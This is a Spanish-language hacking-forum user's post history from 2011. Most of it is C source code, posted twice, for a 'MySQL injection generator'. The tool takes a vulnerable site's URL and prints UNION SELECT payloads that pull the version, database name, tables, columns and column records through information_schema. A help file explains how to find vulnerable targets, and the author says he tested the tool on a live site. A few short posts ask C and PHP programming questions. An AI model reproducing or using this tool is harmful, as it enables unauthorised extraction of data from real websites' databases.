Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - volteo0101

#1
Cita de: Shell Root en 28 Febrero 2011, 20:27 PM
Poned el código aquí... ¬¬!


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
    printf("\n\n");
printf("1-Volver al menu\n");
    printf("\n2-Salir\n ==> ");
   
}



void tablax()
{
    system("cls");
    printf("Nombre de tabla a sacar columnas ==>");
   
}
void ncolumnas()
{
    system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
}
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
   system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
       if(z==j)
       {
               printf("version(),");
               }
             
                       
                                   else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
        main();
        }
        if(ii==2)
        {
                 system("msg * gracias por usar el programa");
                 exit(-1) ;
                 }
                 else
                 {
                     error();
                 }
system("pause>Nul");
}
if(o==2)
{
   
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
       if(z==j)
       {
               printf("database(),");}
               
                                   else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
        main();
        }
        if(ii==2)
        {
                 system("msg * gracias por usar el programa");
                 exit(-1) ;
                 }
                 else
                 {
                     error();
                 }
system("pause>Nul");
}
       if(o==3)
       {
               system("cls");
       printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
       
               {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
       if(z==j)
       {
               printf("group_concat(table_name),");
               }
               
                                   else{
                                       
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
        main();
        }
        if(ii==2)
        {
                 system("msg * gracias por usar el programa");
                 exit(-1) ;
                 }
                 else
                 {
                     error();
                 }
system("pause>Nul");
}
                   }}
                   if(o==4)
                   {
                           system("cls");
                           printf("\n\nSacar columnas de una tabla\n\n");
                                       
     
       
               {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
       if(z==j)
       {
               printf("group_concat(column_name),");}
               
                                   else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
       printf("%d,",tablaxx[a]);
       }
       printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
        main();
        }
        if(ii==2)
        {
                 system("msg * gracias por usar el programa");
                 exit(-1) ;
                 }
                 else
                 {
                     error();
                 }
system("pause>Nul");
}
                   }
                           
                           
                           if(o==5)
                           {
                                   system("cls");
                                   printf("Sacar registros de una columna de una DB.\n");
                                   columnas();
                                   scanf("%d",&c);
                                   ncolumnas();
                                   scanf("%d",&z);
                                   system("cls");
                                   printf("Escriba el nombre de la tabla a sacar datos : ");
                                   scanf("%s",tebla);
                                   system("cls");
                                   printf("Escriba la columna 1 : ");
                                   scanf("%s",columna1);
                                   system("cls");
                                   printf("Escriba la columna 2 : ");
                                   scanf("%s",columnaa);
                                   printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
       if(z==j)
       {
               printf("concat(%s,0x3a,%s),",columna1,columnaa);}
               
                                   else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
             if(ii==1)
             {
                      main();
                     
                      }            
                      else if(ii>2)
                      {
                           error();
                       }        
                       if(ii==2)
                       {
                                system("cls");
                                system("msg * gracias por usar el programa");
                               exit(-1);
                                }
                               
                             
}
if(o==6)
{
       system("start ayuda.txt");
       }
       if(o==7)
       {
               exit(-1);
               }
               if(o>7)
               {
                      error();
                      }
       
}




#2
Version 0.1(Compilado para windows) :

Opciones disponibles hasta el momento:

  • Sacar base de datos actual de la pagina.
  • Sacar version del mysql.
  • Sacar todas las tablas de la base de datos.
  • Sacar todas las columnas de una tabla.
  • Sacar 2 registros por ejecucion de una columna de la tb.



    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #define N_ELEMENTOS 999

    //PHAMTOM
    //Gretz : Fer995,BlackCoder & 3mp3z@ndo
    void finalmenu()
    {
        printf("\n\n");
    printf("1-Volver al menu\n");
        printf("\n2-Salir\n ==> ");
       
    }



    void tablax()
    {
        system("cls");
        printf("Nombre de tabla a sacar columnas ==>");
       
    }
    void ncolumnas()
    {
        system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    }
    void columnas()
    {
    system("cls");
    printf("Si no entendiste este paso , visita la parte de ayuda del programa");
    printf("\nNumeros de columnas de la pagina => ");
    }

    void menu()
    {
    printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
    printf("\n1-Sacar version del mysql");
    printf("\n2-Sacar base de datos que corre la pagina");
    printf("\n3-Sacar todas las tablas de la base de datos");
    printf("\n4-Sacar todas las columnas de una tabla");
    printf("\n5-Sacar registros de la columna de una base de datos\n");
    printf("\n\nOpciones\n\n");
    printf("\n6-Ayuda");
    printf("\n7-Salir");
    printf("\n\n\nElige => ");
    }
    void error()
    {
    system("cls");
    printf("\nError..El programa se ha cerrado.");
    printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
    system("pause>Nul");
    exit(-1);
    }
    int main()
    {
       system("cls");
    int o=0,n=0,c=0,z=0,k=0,ii=0;
    char tablaxx[N_ELEMENTOS];

    char columna2[N_ELEMENTOS];
    char target[N_ELEMENTOS];
    char tebla[N_ELEMENTOS];
    char columna1[N_ELEMENTOS];
    char columnaa[N_ELEMENTOS];
    printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
    printf("Target vulnerable => ");
    scanf("%s",target);
    n=strlen(target);
    if(n>999)
    {
    error();
    }
    if(n<=999)
    {
    system("cls");


    system("title Generador de inyecciones MySql escrito por PHAMTOM.");
    menu();
    scanf("%d",&o);
    if(o==1)
    {
    columnas();
    scanf("%d",&c);
    system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("version(),");
                   }
                 
                           
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
    if(o==2)
    {
       
    columnas();
    scanf("%d",&c);
    system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("database(),");}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
           if(o==3)
           {
                   system("cls");
           printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
    printf("\n");
           
                   {
    columnas();
    scanf("%d",&c);
    ncolumnas();
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("group_concat(table_name),");
                   }
                   
                                       else{
                                           
    printf("%d,",j);

    }
    }
    printf("\b");
    printf("+from+information_schema.tables+where+table_schema=database() --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
                       }}
                       if(o==4)
                       {
                               system("cls");
                               printf("\n\nSacar columnas de una tabla\n\n");
                                           
         
           
                   {
    columnas();
    scanf("%d",&c);
    ncolumnas();
    scanf("%d",&z);
    system("cls");
    tablax();
    scanf("%s",tablaxx);
    system("cls");
    printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("group_concat(column_name),");}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b");
    printf("+from+information_schema.columns+where+table_name=char(");
    int v=strlen(tablaxx);
    for(int a=0;a<=v;a++)
    {
           printf("%d,",tablaxx[a]);
           }
           printf("\b\b\b) --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
                       }
                               
                               
                               if(o==5)
                               {
                                       system("cls");
                                       printf("Sacar registros de una columna de una DB.\n");
                                       columnas();
                                       scanf("%d",&c);
                                       ncolumnas();
                                       scanf("%d",&z);
                                       system("cls");
                                       printf("Escriba el nombre de la tabla a sacar datos : ");
                                       scanf("%s",tebla);
                                       system("cls");
                                       printf("Escriba la columna 1 : ");
                                       scanf("%s",columna1);
                                       system("cls");
                                       printf("Escriba la columna 2 : ");
                                       scanf("%s",columnaa);
                                       printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b+from+%s --",tebla);
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
                 if(ii==1)
                 {
                          main();
                         
                          }            
                          else if(ii>2)
                          {
                               error();
                           }        
                           if(ii==2)
                           {
                                    system("cls");
                                    system("msg * gracias por usar el programa");
                                   exit(-1);
                                    }
                                   
                                 
    }
    if(o==6)
    {
           system("start ayuda.txt");
           }
           if(o==7)
           {
                   exit(-1);
                   }
                   if(o>7)
                   {
                          error();
                          }
           
    }


    Ayuda.txt


    Este pad , no tiene como fin explicar el porque , ni como
    realizar una inyeccion mysql , solo es para aclarar
    los datos que pide el programa.

    Cuando te pide numeros de columnas :

    Esta es la unica parte que tenes que hacer manualmente
    el generador luego te ayuda para imprimir datos, columnas,tablas.-
    Busca un target vulnerable, o alguna pagina
    que sea vulnerable a mysql inyection.
    -1+union+select+0,1,2,3,4,5,6 -- sacas el numero de columnas
    el 6 en este caso , es el numero ,por lo tanto cuando
    te pide numero de columnas respondemos con 6.

    Cuando el programa pide numero de columna que imprime
    nos fijamos cual de las comunas, en mi caso , 1,2,3,4,5,6 imprime en pantalla.
    para que el programa pueda generar la sql query correcta.


    Lo demas para sacar datos de las columnas , sacar tablas
    Nos podemos hiar dependiendo de como responde la pagina.

    Gracias por descargar el programa , cualquier duda puedes mandarme un pm.
    por los foros donde veas el usuario PHAMTOM o volteo0101.



    Un saludo :) gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.
#3
Nivel Web / [Tool]Mysql inyection generator.
28 Febrero 2011, 15:11 PM
Acabo de terminar un generador de mysql inyeccion que esta escrito en ANSI C, este generador facilita muchisimo la tarea de andar escribiendo la inyeccion, un saludo.

les dejo el archivo en un .rar con el codigo fuente, tambien el codigo fuente lo dejare en el apartado de programacion C.


Links :

http://rapidshare.com/files/450252883/SqlTool.rar


Un saludo ,y espero que les guste me costo un poco de tiempo.

PD :El usuario que quiera agregar alguna opcion al programa , o editarlo a su gusto puede hacerlo , pueden tambien publicarlo donde quieras, solamente dejen una fuente y el autor del programa,en caso que lo toquen lo editen , lo cambien pueden ponerse como release.


Esta en su version 0.1 , por lo tanto es beta , cualquier error pueden decirme , lo probe en una pagina que encontre vulnerable a mysql y funciono , las querys estan bien formuladas, el que quiera la pagina me puede mandar un pm , no la paso por aca para evitar el spam.

ESTA COMPILADO PARA WINDOWS , PERO SOLO PORQUE LLAMO COMANDOS DEL SISTEMA ,PUEDEN CAMBIAR LOS COMANDOS Y FUNCIONA PERFECTAMENTE PARA UNIX Y LINUX.
#4
Muchas gracias a todos , utilize este y me funciono :


Cita de: 3mp3z@ndo en 27 Febrero 2011, 06:43 AM
Puedes utilizar en el printf la coma detrás y cuando salgas del for retrocedes, eliminas la coma y vuelves a retroceder para quedarte en la posicion correcta


printf("%d,",j);
}
printf("\b \b--");


Saludos

Dentro de poco veran la herramienta :) un saludo.
#5
Cita de: R3tr0 en 26 Febrero 2011, 21:11 PM
Lo quité para probar si funcionaba y que pasaba xDDDDD

Puedes hacerlo con la funcion system de windows..

#include <stdio.h>
#include <stdlib.h>
main() {
       printf ("Hola Mundo");
system("pause>nul") // El null para que no muestre un mensaje de aviso.       
}

tambien asi :

#include <stdio.h>
int main()
{
int a;
printf("hola mundo");
scanf("%d",&a);
}

vendria a ser un pause tambien :P
#6
Buenas, estoy desarrollando una aplicacion en ansi c, que es un generador de inyecciones mysql , pero tengo un problema..


if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Target : %s and 1=0 +union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf(",version()");}
               
                                    else{
printf(",%d",j);
}
}
printf(" --");
printf("\n\nDone!!");
system("pause>Nul");
}


parte del codigo es asi , pero si pongo en la parte de
printf(",%d",j);      // LA COMA ANTES ME QUEDA ASI :
,0,1,2,3,4,5 -- etc..

pero si la pongo despues :

printf("%d,",j);

Me queda :

0,1,2,3,4,5,6,7, --

yo necesito que queda , sin la primera coma y sin la ultima .. osea algo asi:

0,1,2,3,4,5,6 --

Algun algoritmo ?? ..

Gracias de antemano (:

#7
Gracias castg! ,me sirvio . hasta la proxima.
#8
La pregunta es como podria desde un script php editar una parte de el codigo fuente de otro archivo php.
tengo una archivo php ini.php

ini.php

$p=$_REQUEST['$var'];
echo $p;

Quisiera saber como desde otro php , puedo editar la parte de echo $p ;

por ejemplo , cambiar el echo por un print , saludos.
#9
Error en el link !
#10
Scripting / Re: [Duda]Sockets en perl.
14 Enero 2011, 05:07 AM
Muchas gracias a todos , voy a probar si funciona y les digo .

Hasta la proxima!